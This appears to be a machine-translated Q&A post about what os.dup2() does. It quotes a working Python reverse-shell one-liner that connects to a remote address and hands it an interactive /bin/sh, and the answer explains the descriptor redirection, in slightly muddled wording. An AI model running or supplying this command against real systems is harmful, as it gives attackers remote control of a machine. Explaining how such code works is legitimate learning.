什么是 os.dup2() 方法及其用途

what is os.dup2() method for and what is its use

我正在学习 python 和黑客技术,当我遇到以下代码片段时:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

它是 shell 获得反向 shell 的代码。我确实理解 python 代码,但我无法弄清楚 os.dup2() 是做什么用的,它在那里做什么,在最后一行写的是 p=subprocess.call(["/bin/sh","-i"])p变量正在执行

如果可能的话,请详细回答我可以做进一步研究的资源。

dup2() 是一个复制现有文件描述符的系统调用。参见 https://man7.org/linux/man-pages/man2/dup.2.html

文件描述符 0、1 和 2 是标准输入、标准输出和标准错误,所以这段代码所做的是将这些文件描述符(与套接字关联)中的每一个复制到另一个文件描述符以供使用调用的 /bin/sh 进程。